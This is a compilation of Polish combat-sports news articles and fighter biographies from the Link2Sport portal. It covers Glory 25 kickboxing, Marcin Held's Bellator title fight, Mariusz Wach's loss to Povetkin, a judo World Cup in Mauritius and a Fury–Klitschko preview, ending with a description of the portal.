Pas cały czas u Robina

Robin van Roosmalen obronił pas mistrzowski w kategorii 70kg podczas Glory 25. Sitthichai Sitsongpeenong mimo, że był aktywny musiał pogodzić się z porażką w starciu z RvR na gali w kickboxingu, która odbyła się we włoskiej Monzy.

24-letni Taj zachwycał obserwatorów kickboxingu. Wygrał turniej Glory, dzięki któremu mógł stanąć do rywalizacji o pas. Dodatkowo Sitsongpeenong walczy bardzo widowiskowo i inteligentnie.

Holenderska marka

26-letni van Roosmalen nie spodziewał się chyba takiego przebiegu pojedynku. Ostatnie cztery walki Holender wygrał przez decyzję sędziów, więc był przystosowany do rywalizacji na pełnym dystansie. Jednak Taj zaskoczył mistrza.

Sitsongpeenong ze wszystkich sił starał się zneutralizować atuty rywala i nie pozwolić mu rozwinąć skrzydeł. Powszechnie wiadomo, że chwila nieuwagi może skutkować potężnym ciosem ze strony van Roosmalena. Taj starał się walczyć w dystansie. Miał również przewagę w zasięgu, co pozwalało mu również słać ciosy w kierunku Holendra. Van Roosmalen kilkukrotnie starał się zaskoczyć swojego oponenta mocnymi kopnięciami.

Aktywniejszy był jednak Sisongpeenong. Wydaje się, że przyjął dobrą taktykę, gdyż Holender w żaden sposób nie potrafił znaleźć recepty na Taja i w pełni przyjąć inicjatywy. Pięć rund miało podobny obraz. Van Roosmalen szukał, starał się, jednak nie był w stanie zaskoczyć tajskiego wojownika. Werdykt sędziowskim miał o wszystkim rozstrzygnąć. Taj zrobił wiele, aby wygrać, ale miano mistrza nadal przysługuje 26-letniemu holenderskiemu kickbokserowi.

Petrosyan wrócił

Istotnym elementem gali w Mediolanie był powrót Giorgio Petrosyana. Włoch stanął przed trudnym zadaniem, gdyż jego rywalem był niezwykle utalentowany i głodny zwycięstw Josh Jauncey. Kanadyjczyk bardzo chciał, jednak nie potrafił niczym zaskoczyć doświadczonego Włocha. 29-latek początkowo był ostrożny i uważny. Dobrze prezentował się w defensywie, czym neutralizował wszelkie atuty swojego rywala. Petrosyan od czasu do czasu skutecznie kontrował. W trzeciej rundzie Włoch przyspieszył, czym przypieczętował swoją wygraną na punkty.

Podczas Glory 25 odbyły się półfinały turnieju do 77kg. W pierwszym pojedynku zaprezentowali się Murthel Groenhardt i Nicola Gallo. Holender dyktował warunki rywalizacji. Pojedynek rozstrzygnął się w drugiej rundzie, kiedy to lekarz nie dopuścił Gallo do dalszej rywalizacji. Włoch doznał rozcięcia nad nosem.

Karim Ghajji okazał się lepszy od Yoanna Kongolo. Od początku starcia zawodnicy narzucili ostre tempo. Nie brakowało wymian i prób ciekawych ciosów. Obaj imponowali szybkością, zwrotnością, jednak lepiej prezentował się Szwajcar. Ghajji cały czas szukał swojej szansy, aby przechylić szalę zwycięstwa na swoją stronę. W trzeciej rundzie zawodnicy zwolnili tempo. Opadli z sił. Sędziowie zdecydowali, że na pełnym dystansie lepiej wyglądał Ghajji.

Pas nadal w rękach van Roosmalena, choć Taj pokazał wysoki poziom dojrzałości. Petrosyan udanie wrócił i nadal pokazuje, że stać go na dobre walki. W finale turnieju 77kg spotkają się Murthel Greonhardt i Karim Ghajji.

KM

Mauritius areną zmagań judoków

Tym razem nasi zawodnicy udali się do państwa wyspiarskiego, które znajduje się w południowo zachodniej części Oceanu Indyjskiego. Mauritius to egotyczne miejsce, ale tym razem właśnie tam o cenne punkty będą rywalizowali judocy w zawodach Pucharu Świata.

Swoich sił w rywalizacji spróbuje troje naszych reprezentantów. Największe nadzieje wiążemy ze startem Katarzyny Furmanek, która zaprezentuje się w kategorii +78kg. Wystąpią również Aleksander Beta (66kg) oraz Jakub Kubieniec (81kg).

Stać ją na zwycięstwo?

Katarzyna Furmanek liczy, że uda jej się zdobyć cenne punkty w wyścigu o kwalifikację olimpijską. Polka musi jeszcze włożyć trochę wysiłku, aby wywalczyć bilet do Rio de Janeiro. Obecnie judoczka AZS AWFiS Gdańsk w olimpijskim rankingu w swojej kategorii wagowej zajmuje siedemnastą lokatę, a na igrzyska olimpijskie pojedzie czternaście najlepszych zawodniczek.

Wygrana w zawodach Pucharu Świata rozgrywanych w Mauritiusie dałaby Furmanek sto punktów, a więc potężny zastrzyk punktowy. Polka w tym roku pokazała, że potrafi wygrywać międzynarodowe imprezy. Podczas Pucharu Świata w Pradze rywalizująca w kategorii +78kg judoczka stanęła na najwyższym stopniu podium. Srebrny medal nasza zawodniczka przywiozła z Cascablanki. Problem w tym, że najlepsze występy Furmanek notowała w pierwszym kwartale roku.

Teraz jej występy to sinusoida. Raz jest lepiej, a raz gorzej. W październiku Furmanek była o krok od podium w Pucharze Świata w Lizbonie. Judoczka została sklasyfikowana na piątym miejscu. A jak zaprezentowała się w ostatnim starcie? Podczas Grand Slam w Abu Zabi Polka stoczyła dwa pojedynki. Na początek rozprawiła się z Santą Pakenyte. Jednak w kolejnym starciu Furmanek musiała uznać wyższość Svitlany Iaromki. Ukrainka wygrała przez ippon.

W Maritiusie Polka będzie miała kolejną szansę na poprawienie swojego dorobku punktowego. Srebrna medalistka tegorocznych mistrzostw świata w drużynie może pokusić się o niespodziankę. Miejsce na podium byłoby krokiem do wywalczenia kwalifikacji olimpijskiej. Jeden dobry występ może dać naszej zawodnicze spokój i pewność, co sprawi, że do kolejnych startów będzie mogła podejść na większym luzie.

Panowie dwaj

Ostatnimi czasy nasi judocy rozczarowują. Stara się Maciej Sarnacki, który w Grand Slam w Abu Zabi wywalczył piątą lokatę i przy okazji doznał kontuzji. Tym samym zawodnik z Olsztyna walkowerem musiał oddać rywalizację o podium.

Aleksander Beta nie notuje w tym roku tak dobrych startów jak w poprzednim. Z kolei Jakub Kubieniec może pochwalić się brązowym medalem zdobytym podczas Pucharu Świata w Warszawie. Być może na koniec roku panowie powiększą swój dorobek punktowy. Na obecnym etapie dla obu wyjazd do Rio to odległa perspektywa, jednak mają jeszcze czas, aby walczyć. Muszą wspiąć się na wyżyny.

KM

Pas nie dla Helda

Występu w St. Louis Marcin Held nie będzie wspominał miło. Zapewne w sercu zawodnika pozostał żal, że nie udało się wywalczyć mistrzowskiego pasa Bellatora w wadze lekkiej. Will Brooks okazał się lepszy i wygrał na punkty.

Held stanął przed życiową szansą podczas gali Bellator 145. W wieku 23-lat mógł zostać mistrzem czołowej organizacji mieszanych sztuk walki na świecie. Polski talent musi jeszcze poczekać, ale doświadczenie walki o pas może okazać się cenne.

Szukał poddania

Marcin Held przyzwyczaił, że potrafi kończyć swoje walki efektownie. Większość pojedynków wygrywał przez poddanie. Również takiego rozwiązania Polak próbował w starciu o pas mistrzowski, jednak jego wysiłki nie przyniosły pożądanego efektu.

23-latek z Tych dobrze wszedł w walkę. Dominował w pierwszej rundzie i pokazał Amerykaninowi, że jest gotów odebrać mu pas. Brooks przeżywał trudne chwile. Held słał w jego stronę kolejne ciosy aż w końcu doprowadził do sprowadzenia. Polak na ziemi szukał możliwości założenia dźwigni, jednak 29-latek skutecznie się bronił i w końcu wstał. Po chwili obalił Helda, ale ten dobrze radził sobie będąc na plecach. Polak nie ustawał w swoich próbach. Najpierw starał się założyć dźwignię na łokieć, a później na kolano.

Polak dobrze rozpoczął, jednak doświadczenie Brooksa dało o sobie znać. W drugiej rundzie mistrz stopniowo przejmował inicjatywę. Obalił Helda, a następnie zastosował duszenie trójkątne i obijał rywala. Trzecią rundę Polak chciał rozpocząć od sprowadzenia, jednak próba ta okazała się nieudana. Brooks znalazł się z góry i mógł rozdawać karty. Held starał się bronić przed ciosami mistrza, jednak był coraz bardziej zmęczony. Dodatkowo przy jego prawym oku pojawiło się rozcięcie. Brooks wysuwał się na prowadzenie.

Ostatnia prosta

29-letni Amerykanin przyzwyczajony jest do pięciorundowych starć. Kondycja Brooksa jest imponująca, a Held po trzech rundach wyraźnie osłabł, jednak musiał dalej szukać swojej szansy.

Zmęczenie dawało o sobie znać. Już w czwartej rundzie Held był zdecydowanie wolniejszy i trochę nieporadny. Złapał nogę Brooksa, jednak próba sprowadzenia nie powiodła się i Polak wylądował na plecach. Ostatnia odsłona również na korzyść Amerykanina. Held szukał jeszcze swojej szansy, jednak w parterze to 29-latek częściej był z góry i obijał naszego zawodnika.

Brooks mógł cieszyć się z kolejnej wygranej i skutecznej obrony pasa mistrzowskiego. Held pokazał, że ma potencjał, jednak do występów na tak długim dystansie nie jest odpowiednio przygotowany. Doświadczenie Brooksa odegrało istotną rolę. Dla Helda to ważna walka, która może zaprocentować w przyszłości. Polak pokazał, że stać go na wiele i w Bellatorze może stoczyć jeszcze wiele fantastycznych walk. Ma dopiero 23 lata, a wygrał już turniej wagi lekkiej i walczył o pas. Held to talent czystej wody i może jeszcze wiele namieszać w świecie MMA.

KM

Co dalej z Wachem?

Pojedynek z Aleksandrem Powietkinem miał dać odpowiedź na pytanie, w jakim miejscu bokserskiej kariery znajduje się Mariusz Wach. Z jednym z najlepszych pięściarzy wagi ciężkiej Polak nie miał szans.

Walka z Rosjaninem był dla Wacha szansą na powrót do  światowej czołówki. Popularny „Wiking” nie był uznawany za faworyta pojedynku, jednak w sercach tliła się nadzieja. Rywalizacja polsko-rosyjska, zwłaszcza w Dniu Jedności Narodowej (4 listopada w Rosji), wzbudzała emocje, a przede wszystkim ciekawość.

Zachowawczy Wach

Walka miała swój ciężar gatunkowy. Aleksandr Powietkin w swoich dłoniach dzierży pas WBC Silver. Wach miał szansę na zdobycie pasa, powrót na bokserskie salony i wywalczenie statusu oficjalnego pretendenta do tytułu mistrza świata i rywalizacji z Deontayem Wilderem.

Początek pojedynku w Kazaniu zachowawczy. Obaj pięściarze starali się wyczuć swoje możliwość. Wach nie chciał podzielić losu Andrzeja Wawrzyka, który w 2013 roku spotkał się z Powietkinem i już w trzeciej rundzie został znokautowany. „Wiking” był ostrożny i wycofany, trzymał szczelną gardę, a w razie konieczności uciekał się do klinczu. Początkowo „Sasza” nie mógł narzucić swoich warunków. Rosjanin zadawał ciosy, jednak Wach pozostawał niewzruszony. Z kolei Polak był oszczędny, dopiero w piątej rundzie ruszył do przodu i w końcu trafił rywala. Jeden prawy zrobił wrażenie na Powietkinie. Czas działał na korzyść Rosjanina. Wach był coraz bardziej zmęczony, Powietkin parł do przodu. Wyraźnie było widać, że kondycyjnie Polak stopniowo siada. Dominacja „Saszy” rosła i można było odliczać oraz wyrokować, kiedy pojedynek dobiegnie końca. W ringu miała miejsce swoista „obrona Częstochowy”. Wach przyjmował kolejne ciosy, a jego oko puchło coraz bardziej.

Polak wyglądał coraz gorzej. Słaniał się na nogach i zbierał kolejne ciosy. W dwunastej rundzie sędzia przerwał pojedynek. Wach przegrał. Nie wykorzystał szansy.

Koniec marzeń?

To, że Wach przez lata znajdował się w przedpokoju wagi ciężkiej to fakt. Wielki chłopisko, którym trudno zachwiać, a jego cios może w jednej chwili zakończyć pojedynek. Toczył kolejne boje i w końcu dostąpił zaszczytu walki o mistrzostwo świata. Przegrał z Władimirem Kliczko. Była to pierwsza porażka w jego karierze. Po pojedynku rozpoczął się dramat „Wikinga”. W jego organizmie wykryto niedozwolone substancje i musiał odpocząć od boksu dwa lata.

Wrócił. Stoczył cztery pojedynki. Widać było, że z kondycją u Wacha nie jest najlepiej, brak mu świeżości. Walczył z kelnerami i wygrywał. W końcu przyszedł czas na weryfikację możliwości. Powietkin pokazał Wachowi dobry boks, bo nic więcej. Rosjanin był konsekwentny, a Polak bierny. Wydaje się, że Wach stracił szansę na kolejne walki w świetle jupiterów. Nadal pozostaje mocnym nazwiskiem, ale już tylko na polskim rynku.

KM

Peter Graham

Australijski zawodnik sportów walki urodzony 5 sierpnia 1975 roku w Sydney. W swojej karierze walczył zarówno w karate, zawodowym Kick boxingu, boksie jak i MMA. Swoją karierę w sportach walki zaczynał od karate kyokushin. W 1999 roku został mistrzem Australii w klasie open, a rok później zdobył amatorskie mistrzostwo świata WKBF. Po tym sukcesie przeszedł na zawodowstwo, rozpoczynając starty w Kick-boxingu w formule K-1. W listopadzie 2000 roku na gali K-1 Oceania Star Wars 2000 w Melbourne zmierzył się w pokazowym pojedynku z najbardziej utytułowanym australijskim kickboxerem w historii, Stanem Longinidisem. Przegrał z nim przez decyzję po 10-rundowym pojedynku, jednak występ ten zaowocował zaproszeniem go na turniej preliminacyjny K-1 World GP w Melbourne w lutym 2001 roku. Przegrał w finale przez nokaut z wschodzącą gwiazdą K-1, Nowozelandczykiem Markiem Huntem. Pięć miesięcy później doszło do walki rewanżowej w której to Graham pokonał Hunta przez decyzję sędziów. Po rocznej przerwie powrócił na ringi K-1 w 2003 roku. W lipcu wygrał turniej K-1 World GP W Melbourne, dzięki czemu wywalczył sobie prawo startu w gali eliminacyjnej w Osace, w której pokonał Sama Greco. Zwycięstwo to zapewniło mu udział w Finale K-1 WGP w Tokio turnieju o mistrzostwo K-1. Odpadł w nim w ćwierćfinale, znokautowany przez późniejszego mistrza Remy’ego Bonjasky’ego. W 2004 roku wygrał turniej Kings of Oceania 2004, pokonując min. Pawła Słowińskiego. Rok później zwyciężył również w Kings of Oceania 2005, uzyskując kwalifikację do turnieju K-1 World GP 2006 w Auckland, będącego eliminacją do Finału K-1 World GP 2006. W jego ćwierćfinale zmierzył się z Bardem Hari. Graham przegrywał pojedynek na punkty, jednak na kilka sekund przed końcem pojedynku zdołał znokautować Marokańczyka kopnięciem, łamiąc mu szczękę. W półfinale zmierzył się z Pawłem Słowińskim i przegrał przed czasem na skutek niskich kopnięć. W sierpniu 2007 roku, podczas K-1 World GP w Hongkongu stoczył walkę rewanżową z Harim. Przegrał przez jednogłośną decyzję sędziów. Był to jego ostatni występ w organizacji K-1. Po trzyletniej spowodowanej startami w MMA powrócił do Kick-boxingu. 29 sierpnia 2010 znokautował Nowozelandczyka Douga Vineya, zdobywając mistrzostwo Świata ISKA w wadze ciężkiej. Stracił je gdy 20 września 2011 roku sam został znokautowany w trzecim starciu z Pawłem Słowińskim. W 2008 roku podpisał kontrakt z Japońską organizacją World Victory Road i zadebiutował w MMA. Na gali Sengoku 1 w Tokio przegrał przez poddanie z byłą gwiazdą PRIDE FC, zapaśnikiem Kazuyuki Fujitą. Od 2010 roku walczył dla mniejszych Australijskich organizacji. W grudniu tego roku na gali Draka 5 stoczył w rosyjskim Chabarowsku pojedynek z niepokonanym od ponad 4 lat zawodnikiem gospodarzy, Aleksandrem Jemieljanienką. Graham niespodziewanie wygrał przez techniczny nokaut w drugiej rundzie. Podczas kolejnej edycji tej gali, która odbyła się 11 lutego 2012 roku, znokautował doświadczonego Łotysza Konstantina Głuchowa w pierwszej rundzie. 24 listopada stoczył rewanżowy pojedynek z Gluhovsem. Kolejny raz lepszy był Graham który znokautował rywala na początku pierwszej rundy. Stawką pojedynku było międzynarodowe mistrzostwo w wadze ciężkiej organizacji Draka. W latach 2013-2014 walczył dla Bellator MMA, w którym stoczył trzy pojedynki z czego dwa przegrał. Od 2014 roku związany z KSW gdzie pokonał min. Marcina Różalskiego i Mariusza Pudzianowskiego.  

Francisco Filho

Brazylijski Karateka stylu kyokushin urodzony 10 stycznia 1971 roku  w Souto Soares w stanie Bahia. W 1991 roku na 5. Otwartych Mistrzostwach Świata Filho otrzymał nagrodę za najlepszego ducha walki. W eliminacjach wygrał z wicemistrzem Świata sprzed 4 lat, Szwajcarem Andy Hugiem przez ippon. W 1995 roku zaliczył test 100 kumite oraz zdobył brązowy medal na 6. Otwartych Mistrzostwach Świata. Dwa lata później wywalczył mistrzostwo świata w wadze superciężkiej. W 1999 roku został pierwszym zwycięzcą Otwartych Mistrzostw Świata spoza Japonii. W turnieju tym pokonał m.in. Ryu Narushimę, Nicholasa Pettasa oraz w finale obrońcę tytułu Hajime Kazumiego. W 1997 roku podpisał kontrakt z japońską organizacją K-1 na walki w Kick-boxingu. W swoim debiucie skrzyżował rękawice z dobrze sobie znanym rywalem, ówczesnym mistrzem K-1 Andym Hugiem. I tym razem lepszym okazał się Francisco Filho, który znokautował Szwajcara. Ten niespodziewany sukces przyniósł mu popularność w świecie Kick-boxingu i dał przepustkę do walki o mistrzostwo Świata K-1 w finałowym turnieju World Grand Prix 1997 w Tokio. W ćwierćfinale znokautował w 15 sekund australijskiego karatekę Sama Greco. W półfinale zmierzył się z czołowym Kick-boxerem świata, Holendrem Ernesto Hoostem. Przegrał z nim na punkty. W 1998 roku walczył z kolejnymi gwiazdami K-1, Peterem Aertsem i Rayem Sefo, remisując w obu walkach. Do kolejnego turnieju finałowego K-1 awansował nokautując najlepszego ówcześnie amerykańskiego Kick-boxera Ricka Roufusa niskim kopnięciem w kolano. W ćwierćfinale imprezy na drodze Brazylijczyka stanął Mike Bernardo. Mimo że Filho był faworytem, przegrał przez techniczny nokaut w trzeciej rundzie. Rok 1999 Filho poświęcił przygotowaniom do 7 Otwartych Mistrzostw Świata Kyokushin. W K-1 wystąpił tylko raz. W rewanżowej walce z Hoostem znokautował go w pierwszej rundzie serią ciosów pięściami. Na ring powrócił w 2000 roku, po wywalczeniu czempionatu w Karate, w walce z Jerome’em Le Bannerem. Przegrał w pierwszej rundzie przez ciężki nokaut. Mimo to parę miesięcy później wygrał turniej w Jokohamie, co umożliwiło mu wzięcie udziału w kolejnym turnieju o mistrzostwo K-1. Ponownie zmierzył się w nim z Ernesto Hoostem i po raz drugi przegrał na punkty w półfinale. Ostatnią, czwartą próbę wywalczenia mistrzostwa K-1 Francisco Filho podjął rok później. W ćwierćfinale World Grand Prix 2001 pokonał przez TKO Petera Aertsa, a w półfinale okazał się lepszy od nowej gwiazdy K-1, Białorusina Aleksieja Ignaszowa. W finale na Brazylijczyka czekała rewelacja turnieju, Mark Hunt. Regulaminowe trzy rundy nie przyniosły w oczach sędziów rozstrzygnięcia, więc zarządzono dodatkową runde. Hunt wykazał się w niej większą agresją i zadał więcej ciosów, co dało mu zwycięstwo przez jednogłośną decyzję sędziów. Po finale zrezygnowany Filho oświadczył, że na jakiś czas żegna się z K-1, a ewentualne przyszłe występy ograniczy do pojedynczych walk. Po półtorarocznej przerwie wrócił na ring w 2003 roku. Stoczył cztery walki, ostatnią z nich w maju 2004 roku z ówczesnym mistrzem K-1 Remym Bonjaskym. Pokonał go przez jednogłośną decyzję sędziów. W historii swoich startów w K-1 Filho pokonał czterech mistrzów K-1 WGP: Petera Aertsa, Andy’ego Huga, Ernesto Hoosta i Remy’ego Bonjasky’ego. 

Gago Drago

Ormiański Kick-boxer wagi średniej znany z występów na galach K-1 MAX i It’s Showtime urodzony 8 marca 1985 roku w Weriszen. Gagik Harutiunian urodził się we wsi Weriszen na terenie Armeńskiej SRR. W 1989 roku wyemigrował wraz z ojcem do Holandii i osiadł w Alkmaar. W wieku 14 lat rozpoczął trenować w miejscowym klubie Kick-boxing. W 2001 roku przeszedł na zawodowstwo i od tego momentu występuje wyłącznie pod pseudonimem Gago Drago. Między 2002 a 2006 rokiem był niepokonany. Wygrywając ponad 20 walk na terenie Holandii i Belgii szybko osiągnął status wschodzącej gwiazdy europejskiego Kick-boxingu. W 2005 roku uzyskał Holenderskie obywatelstwo, co umożliwiło mu występowanie również poza Beneluksem. W 2006 roku podpisał kontrakt z japońską organizacją K-1 i 6 kwietnia tego samego roku zadebiutował w prestiżowym cyklu K-1 World MAX. Na turnieju eliminacyjnym w Tokio pokonał Duńczyka Ole Laursena i awansował do Finału K-1 World MAX w Jokohamie. Podczas tego drugiego sprawił niespodziankę eliminując byłego mistrza K-1 MAX Alberta Krausa, lecz w następnej walce przegrał z późniejszym tryumfatorem turnieju Buakawem Por. Pramukiem, kończąc swój udział w półfinale. Drago bezskutecznie próbował osiągnąć sukces w K-1 MAX w następnych latach. W 2007 roku został znokautowany w ćwierćfinale przez Andy Souwera. Mimo że w 2008 przegrał już w 1/16 z Mikiem Zambidisem, wystąpił w następnej rundzie dzięki dzikiej karcie. Uległ tam jednak Masato. W 2009 roku przegrał w ćwierćfinale po wyrównanej walce z Yuyą Yamamoto.  W lutym 2009 roku walczył w Antwerpii z Turkiem Muratem Direkci o mistrzostwo It’s Showtime w kategorii 70 kg. Przegrał przez techniczny nokaut w trzeciej rundzie. W 2010 roku powtórzył osiągnięcie z 2006 roku, gdy dotarł do półfinału K-1 World MAX. W walce o finał przegrał z Yoshihiro Sato. 

Held powalczy o pas. Ma szanse?

6 listopada Marcin Held stanie przed szansą na wywalczenie mistrzowskiego pasa wagi lekkiej organizacji Bellator. Na drodze Polaka stanie Will Brooks.

Held jest już ukształtowanym fighterem. Świetnie odnalazł się w Bellatorze, co pozwoliło mu dopiąć swego i dojść do walki o pas mistrzowski. Według ocen bukmacherów Polak nie jest faworytem, ale nie należy przekreślać jego szans na pokonanie Brooksa.

Świetna passa

Nasz zawodnik jest ekspertem od poddań. W sześciu ostatnich walkach tylko raz o wyniku pojedynku decydowali sędziowie. Held jest szybki, zwrotny i skuteczny do perfekcji. Każdy kolejny rywal zawodnika z Tych musi mieć się na baczności, gdyż nigdy nie wie, co Polakowi przyjdzie do głowy. Aleksandr Sarnavski wytrzymał na placu boju z 23-latkiem dwie rundy. W trzeciej odsłonie na jego twarzy pojawił się grymas bólu, który oznaczał tylko jedno – porażkę.

Held pokonał Rosjanina zakładając mu dźwignię na nogę. Sarnavski wył z bólu, starał się uwolnić, ale musiał uznać wyższość polskiego zawodnika. Dodatkowo Rosjanin doznał kontuzji. Walka Held vs Sarnavski miała miejsce w kwietniu podczas gali Bellator 136. W walce wieczoru zaprezentował się najbliższy rywal Polaka Will Brooks, który uporał się z Dave'm Jansenem. Mistrz wagi lekkiej potrzebował jednak pełnych pięciu rund do odniesienia zwycięstwa. Amerykanin nie jest tak efektowny jak Held. Tylko jedna ostatnich jego pięciu walk zakończyła się przed czasem.

Jednak Brooks to mocny zawodnik. Mistrz wagi lekkiej nie jest wirtuozem parteru, ale potrafi potraktować swoich oponentów mocnym ciosem, który zatrzyma ich zapędy. Brooks wygrał siedem pojedynków z rzędu, jednak tylko dwa przed czasem. Po raz ostatni przegrał w lutym 2013 roku. Walka trwała zaledwie czterdzieści trzy sekundy, a pogromcą Amerykanina okazał się Saad Awad.

Jak wyglądają statystyki w przypadku 23-latka z Polski? Held wygrał sześć pojedynków z rzędu, a ostatnią porażkę zanotował w marcu 2013 roku. Polak przegrał z Dave'm Jansenem. Zatem Held i Brooks ponad dwa lata są niezwyciężeni. 6 listopada podczas gali Bellator 145 dobra passa jednego z nich dobiegnie końca.

Bukmacherzy za Amerykaninem

Rzecz jasna, że bukmacherzy wyżej cenią Brooksa, jednak wcale nie przekreślają szans Polaka. Za złotówkę postawioną na Helda można wygrać około trzech złotych. Historia zna przypadki, że akcje pretendentów stały zdecydowanie niżej. Można spodziewać się ciekawej walki. W parterze Held może pokazać bogaty repertuar i zatrzymać mistrza, z kolei w stójce musi być ostrożny. Przed 23-latkiem ogromna życiowa szans.  Powtarza się opinia, że Held to wielki talent polskiego MMA. Zawodnik z Tych rozwija się i widać tego owoce. Czy kolejnym krokiem będzie pas mistrzowski?

W walce wieczoru podczas gali Bellator 145 zaprezentują się Patricio Freire i Daniel Straus. Będzie to rewanż za pojedynek ze stycznia. Ze zwycięstwa mógł cieszyć się Brazylijczyk, który zanotował szóstą wygraną z rzędu. Straus po raz kolejny postara się powstrzymać marsz 28-latka. Czy tym razem mu się powiedzie? Warto dodać, że Straus już dwukrotnie starał się pokonać Brazylijczyka. Bezskutecznie.

KM

Marcin Held

Polski zawodnik MMA urodzony 18 stycznia 1992 roku w Tychach. Jest posiadaczem czarnego pasa w Brazylijskim Jiu Jitsu. Zawodową karierę w MMA rozpoczął w 2008 roku pokonując przez dźwignię łokciową Mateusza Piórkowskiego podczas gali Abak Moto na katowickim Muchowcu. W 2009 roku Held stoczył sześć walk pokonując kolejno Artura Sowińskiego, Mariusza Pioskowika, Rafała Lasotę. W trzech starciach turniejowych pokonywał kolejno Ireneuszą Milę, Mariusza Abramiuka i Borysa Mańkowskiego. Tym samym Held został mistrzem MMA Challengers w wadze lekkiej. W 2011 roku podpisał kontrakt z Bellator, a jeszcze w tym samym roku w debiucie, wystartował w turnieju wagi lekkiej odpadając w ćwierćfinale w pojedynku z przyszłym tryumfatorem tegoż turnieju Amerykaninem Michaelem Chandlerem. W 2013 roku doszedł do finału kolejnego turnieju w kategorii do 70 kg ulegając w nim na punkty Amerykaninowi Dave’owi Jansenowi. 26 września 2014 roku, w swoim trzecim już podejściu zwyciężył w całym turnieju wagi lekkiej pokonując w finale Brazylijczyka Patricka Freire przez jednogłośną decyzję sędziów, inkasując przy tym czek w wysokości 100,000 $ oraz otrzymując prawo walki o pas międzynarodowego mistrza Bellatora. 6 listpada 2015 roku doszło do starcia Helda z Will Brooksem o pas mistrzowski federacji Bellator. Marcin przegrał przez jednogłośną decyzję sędziów.

Fury myśli o zakończeniu kariery?

Wiadomo, że Tyson Fury lubi zwracać na siebie uwagę. To więcej niż pewne. Brytyjski bokser nie szczędzi sobie ciepłych słów i nie ukrywa swojej potęgi na zawodowym ringu. 28 listopada będzie miał okazję stać się wielkim mistrzem.

W Dusseldorfie Fury zmierzy się z Władimirem Kliczko, który ma w swojej kolekcji pasy WBO/WBA/IBO/IBF wagi ciężkiej. Kolejni pięściarze zapowiadają, że zakończą panowanie Ukraińca, ale na słowach się kończy.

Czcze gadanie?

Fury jest jednym z tych bokserów, którzy potrafią zrobić wokół siebie szum medialny. Brytyjczyk składa przed kamerami wiele deklaracji, ale do jego słów trzeba podchodzić z dystansem. Rzecz jasna, że w ringu przekonamy się, czy jest lepszy od ukraińskiego mistrza. Jednak scenariusz o zakończeniu kariery przez Brytyjczyka po starciu z mistrzem wagi ciężkiej wydaje się mało prawdopodobny – Na tę chwilę nie planuję nic po tej walce. To może być koniec. Chcę zdobyć miano najlepszego na świecie. Wygrana z Kliczko umocni moją pozycję jako lidera wśród bokserów. Czy po tym pojedynku będę miał jeszcze co robić? W ringu chcę zrobić coś, czego wcześniej nikt nie dokonał. Wygrać, ale nie tylko. Po tej walce rozpocznie się nowy rozdział w moim życiu – zdradza Fury.

Jak widać Brytyjczyk wybiega daleko w przyszłość zamiast wykorzystać trzy tygodnie, które zostały do walki z mistrzem z Ukrainy. 28 listopada to dzień weryfikacji możliwości niepokonanego dotąd 27-letniego pięściarza. Pewne jest, że w tej chwili Fury jest najlepszym pięściarzem na Wyspach Brytyjskich. Dereck Chisora musiał uznać jego wyższość, a Anthony Joshua dopiero buduje swoją pozycję. Fury to kawał chłopa, silny i mocny bokser, który ma ogromny potencjał. Wydaje się, że za jego umiejętnościami nie nadąża głowa. Fury buja w chmurach i ciągle gloryfikuje swoją osobę.

W rozmowie z BBC.com Brytyjczyk zaszokował. Fury określił się mianem współczesnego Muhammada Ali. –  Chciałbym powiedzieć, że jestem współczesnym Muhammadem Ali. Obecnie w boksie nie ma kogoś takiego jak ja. Nie widzę nikogo takiego w żadnej kategorii wagowej po zakończeniu kariery przez Floyda Mayweathera Jr. – prezentuje swoje zdanie brytyjski bokser wagi ciężkiej.

Zainteresowanie rośnie

Tak naprawdę walka Fury vs Kliczko zbliża się wielkimi krokami. Obaj wejdą na ring już 28 listopada. Czy posypią się gromy?

Warto zwrócić uwagę, że Kliczko stanie przed trudnym zadaniem. Wejdzie do ringu z rywalem cięższym i wyższym, który ma większy zasięg ramion. Kliczko będzie musiał się mieć na baczności, gdyż jego rywal dysponuje wieloma atutami. Decydujący może okazać się spokój ukraińskiego mistrza. Fury może nie wytrzymać temperatury pojedynku, a Kliczko do takich walk jest przyzwyczajony. 

KM

Portal Link2Sport

Portal Link2Sport jest stroną unikatową w skali kraju. Głównym założeniem strony jest zrzeszanie jak największej ilości osób uprawiających sport, lub działających w jego obrębie.

Serwis daje możliwość tworzenia własnych blogów, zakładania grup/drużyn, wymianą informacji między specjalistami a także szukaniu potencjalnych klientów.

Są tutaj 3 rodzaje kont (funkcjonalność każdego z nich można wzbogacić wykupując pakiety abonamentowe): Sportowiec / drużyna Specjalista (dietetycy, sędziowie, trenerzy itd.) Organizacja (klub sportowy, sponsor, ośrodek sportowy itd.) Konto sportowca jest dostępne bez konieczności wnoszenia opłat, należy jednak zweryfikować swoją tożsamość przed możliwością korzystania z serwisu. Wymagane jest podanie swoich danych osobowy, wieku, rodzaju uprawianej dyscypliny sportu, oraz danych kontaktowych.

Dla organizacji i firm związanych ze sportem mamy tutaj możliwość znalezienia nowych współpracowników: sportowców, specjalistów, firm kooperujących, sponsorów i usługodawców.

W serwisie jest także możliwość promocji własnej organizacji i imprez przez nią przygotowanych, a także używanie narzędzi społecznościowych i promocyjnych do samodzielnego ustawienia w serwisie (newslettery, autopromocja graficzna, przekazanie materiałów w formie załącznika i wiele innych.

Posiadanie konta organizacji daje też możliwość zamieszczania płatnych ogłoszeń na stronie głównej serwisu, daje swobodny dostęp do bazy danych sportowców, profesjonalistów i wydarzeń sportowych. Organizacje powiązane z poszczególnymi sportowcami, są wyróżniane na stronie wizytówce danej osoby. Jako organizacja można publikować wiadomości skierowane indywidualnie, grupowe (np. do swoich członków) jak również na forum. Ponadto organizacje mogą publikować wpisy widoczne na kontach swoich członków.

Dla osób korzystających z serwisu jest też możliwość rejestracji, logowania się do serwisu, a także powiązania swojego profilu z profilem społecznościowym (Facebook, LinkedIn, Twitter, Instagram), dzięki czemu nie jest konieczne zakładanie konta od zera i posługiwania się dodatkowym loginem/hasłem. Wybrane zdarzenia w portalu można publikować bezpośrednio na ścianie lub w strumieniu danych swojego profilu społecznościowego.

Portal Link2Sport.pl to nowoczesna platforma, która ułatwi nawiązywanie kontaktów, każdemu, kto chce się rozwijać i poszerzać swoją wiedzę dzięki wymianie informacji i współpracy z innymi podmiotami.

 

 

